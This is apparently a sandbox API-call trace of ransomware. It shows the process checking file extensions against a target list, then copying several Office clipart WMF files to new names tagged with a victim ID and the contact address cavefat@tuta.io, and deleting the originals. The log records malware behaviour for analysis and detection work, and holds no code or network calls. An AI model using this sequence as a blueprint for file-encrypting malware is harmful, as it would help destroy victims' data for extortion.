[0170.900] lstrlenW (lpString=".xls") returned 4 [0170.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.900] lstrlenW (lpString=".xlsx") returned 5 [0170.901] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.901] lstrlenW (lpString=".ppt") returned 4 [0170.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.901] lstrlenW (lpString=".zip") returned 4 [0170.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.901] lstrlenW (lpString=".rar") returned 4 [0170.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.901] lstrlenW (lpString=".bz2") returned 4 [0170.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.901] lstrlenW (lpString=".7z") returned 3 [0170.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.901] lstrlenW (lpString=".dbf") returned 4 [0170.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.901] lstrlenW (lpString=".1cd") returned 4 [0170.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215070.WMF") returned 68 [0170.901] lstrlenW (lpString=".jpg") returned 4 [0170.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.901] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.901] lstrlenW (lpString="J0215710.WMF") returned 12 [0170.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.907] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17826) returned 1 [0170.907] CloseHandle (hObject=0x380) returned 1 [0170.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf")) returned 0x220 [0170.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.912] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.912] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.919] GetLastError () returned 0x0 [0170.919] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x45a2, lpOverlapped=0x0) returned 1 [0170.921] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x45b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x45b0, lpOverlapped=0x0) returned 1 [0170.922] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.922] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.922] SetEndOfFile (hFile=0x370) returned 1 [0170.925] CloseHandle (hObject=0x370) returned 1 [0170.929] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.929] SetEndOfFile (hFile=0x30c) returned 1 [0170.932] CloseHandle (hObject=0x30c) returned 1 [0170.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215710.wmf")) returned 1 [0170.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.938] lstrlenW (lpString=".doc") returned 4 [0170.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.938] lstrlenW (lpString=".docx") returned 5 [0170.938] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.938] lstrlenW (lpString=".pdf") returned 4 [0170.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.938] lstrlenW (lpString=".xls") returned 4 [0170.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.938] lstrlenW (lpString=".xlsx") returned 5 [0170.938] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.938] lstrlenW (lpString=".ppt") returned 4 [0170.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.938] lstrlenW (lpString=".zip") returned 4 [0170.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.938] lstrlenW (lpString=".rar") returned 4 [0170.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.938] lstrlenW (lpString=".bz2") returned 4 [0170.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.938] lstrlenW (lpString=".7z") returned 3 [0170.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.938] lstrlenW (lpString=".dbf") returned 4 [0170.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.938] lstrlenW (lpString=".1cd") returned 4 [0170.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.938] lstrlenW (lpString=".jpg") returned 4 [0170.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.938] lstrlenW (lpString=".doc") returned 4 [0170.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.938] lstrlenW (lpString=".docx") returned 5 [0170.939] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.939] lstrlenW (lpString=".pdf") returned 4 [0170.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.939] lstrlenW (lpString=".xls") returned 4 [0170.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.939] lstrlenW (lpString=".xlsx") returned 5 [0170.939] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.939] lstrlenW (lpString=".ppt") returned 4 [0170.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.939] lstrlenW (lpString=".zip") returned 4 [0170.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.939] lstrlenW (lpString=".rar") returned 4 [0170.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.939] lstrlenW (lpString=".bz2") returned 4 [0170.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.939] lstrlenW (lpString=".7z") returned 3 [0170.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.939] lstrlenW (lpString=".dbf") returned 4 [0170.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.939] lstrlenW (lpString=".1cd") returned 4 [0170.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215710.WMF") returned 68 [0170.939] lstrlenW (lpString=".jpg") returned 4 [0170.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.939] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.939] lstrlenW (lpString="J0216540.WMF") returned 12 [0170.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.943] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=42120) returned 1 [0170.944] CloseHandle (hObject=0x2ec) returned 1 [0170.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf")) returned 0x220 [0170.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.954] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.954] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.960] GetLastError () returned 0x0 [0170.960] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xa488, lpOverlapped=0x0) returned 1 [0170.962] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xa490, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xa490, lpOverlapped=0x0) returned 1 [0170.963] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.963] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.964] SetEndOfFile (hFile=0x30c) returned 1 [0170.967] CloseHandle (hObject=0x30c) returned 1 [0170.970] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.970] SetEndOfFile (hFile=0x380) returned 1 [0170.972] CloseHandle (hObject=0x380) returned 1 [0170.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf")) returned 1 [0170.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.976] lstrlenW (lpString=".doc") returned 4 [0170.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.976] lstrlenW (lpString=".docx") returned 5 [0170.976] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.976] lstrlenW (lpString=".pdf") returned 4 [0170.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.976] lstrlenW (lpString=".xls") returned 4 [0170.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.976] lstrlenW (lpString=".xlsx") returned 5 [0170.976] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.976] lstrlenW (lpString=".ppt") returned 4 [0170.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.976] lstrlenW (lpString=".zip") returned 4 [0170.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.976] lstrlenW (lpString=".rar") returned 4 [0170.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.976] lstrlenW (lpString=".bz2") returned 4 [0170.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.976] lstrlenW (lpString=".7z") returned 3 [0170.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.976] lstrlenW (lpString=".dbf") returned 4 [0170.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.976] lstrlenW (lpString=".1cd") returned 4 [0170.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.976] lstrlenW (lpString=".jpg") returned 4 [0170.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.976] lstrlenW (lpString=".doc") returned 4 [0170.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.977] lstrlenW (lpString=".docx") returned 5 [0170.977] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.977] lstrlenW (lpString=".pdf") returned 4 [0170.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.977] lstrlenW (lpString=".xls") returned 4 [0170.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.977] lstrlenW (lpString=".xlsx") returned 5 [0170.977] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.977] lstrlenW (lpString=".ppt") returned 4 [0170.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.977] lstrlenW (lpString=".zip") returned 4 [0170.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.977] lstrlenW (lpString=".rar") returned 4 [0170.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.977] lstrlenW (lpString=".bz2") returned 4 [0170.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.977] lstrlenW (lpString=".7z") returned 3 [0170.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.977] lstrlenW (lpString=".dbf") returned 4 [0170.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.977] lstrlenW (lpString=".1cd") returned 4 [0170.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF") returned 68 [0170.977] lstrlenW (lpString=".jpg") returned 4 [0170.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.977] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.977] lstrlenW (lpString="J0216874.WMF") returned 12 [0170.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.984] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=39738) returned 1 [0170.984] CloseHandle (hObject=0x39c) returned 1 [0170.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf")) returned 0x220 [0170.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.989] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.989] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0170.997] GetLastError () returned 0x0 [0170.997] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x9b3a, lpOverlapped=0x0) returned 1 [0170.999] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x9b40, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x9b40, lpOverlapped=0x0) returned 1 [0171.000] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.000] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.000] SetEndOfFile (hFile=0x394) returned 1 [0171.002] CloseHandle (hObject=0x394) returned 1 [0171.004] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.004] SetEndOfFile (hFile=0x370) returned 1 [0171.009] CloseHandle (hObject=0x370) returned 1 [0171.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf")) returned 1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.012] lstrlenW (lpString=".doc") returned 4 [0171.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.012] lstrlenW (lpString=".docx") returned 5 [0171.012] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.012] lstrlenW (lpString=".pdf") returned 4 [0171.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.012] lstrlenW (lpString=".xls") returned 4 [0171.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.012] lstrlenW (lpString=".xlsx") returned 5 [0171.012] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.012] lstrlenW (lpString=".ppt") returned 4 [0171.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.012] lstrlenW (lpString=".zip") returned 4 [0171.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.012] lstrlenW (lpString=".rar") returned 4 [0171.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.012] lstrlenW (lpString=".bz2") returned 4 [0171.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.012] lstrlenW (lpString=".7z") returned 3 [0171.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.012] lstrlenW (lpString=".dbf") returned 4 [0171.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.012] lstrlenW (lpString=".1cd") returned 4 [0171.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.013] lstrlenW (lpString=".jpg") returned 4 [0171.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.013] lstrlenW (lpString=".doc") returned 4 [0171.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.013] lstrlenW (lpString=".docx") returned 5 [0171.013] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.013] lstrlenW (lpString=".pdf") returned 4 [0171.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.013] lstrlenW (lpString=".xls") returned 4 [0171.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.013] lstrlenW (lpString=".xlsx") returned 5 [0171.013] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.013] lstrlenW (lpString=".ppt") returned 4 [0171.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF") returned 68 [0171.013] lstrlenW (lpString=".zip") returned 4 [0171.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.013] 